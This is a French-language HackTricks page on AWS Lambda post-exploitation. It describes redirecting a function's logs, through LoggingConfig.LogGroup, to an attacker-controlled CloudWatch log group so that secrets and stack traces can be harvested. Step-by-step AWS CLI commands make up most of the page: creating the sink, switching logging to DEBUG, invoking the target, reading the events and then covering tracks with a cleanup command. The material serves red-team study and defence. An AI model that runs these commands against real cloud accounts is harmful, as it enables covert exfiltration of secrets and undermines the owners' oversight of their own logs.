AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exploiter les contrôles de logging avancés lambda:UpdateFunctionConfiguration pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans modifier le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà logs:CreateLogGroup/CreateLogStream/PutLogEvents via AWSLambdaBasicExecutionRole). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group.

Permissions requises

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ou vous appuyer sur des triggers existants)
  • logs:CreateLogGroup (souvent non requis si le rôle de la fonction l'a déjà)
  • logs:FilterLogEvents (pour lire les événements)

Étapes

  1. Créer un log group de destination
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Rediriger les logs de la fonction cible
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Attendez que LastUpdateStatus devienne Successful :

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Invoquer et lire depuis le sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Impact

  • Rediriger furtivement tous les logs d'application/système vers un log group que vous contrôlez, contournant l'hypothèse que les logs n'atterrissent que dans /aws/lambda/<fn>.
  • Exfiltrer des données sensibles affichées par la fonction ou remontées dans les erreurs.

Nettoyage

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Remarques

  • Les paramètres de journalisation font partie du LoggingConfig de Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Par défaut, Lambda envoie les logs vers /aws/lambda/<function>, mais vous pouvez pointer vers n'importe quel LogGroup ; Lambda (ou le rôle d'exécution) le créera si cela est autorisé.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks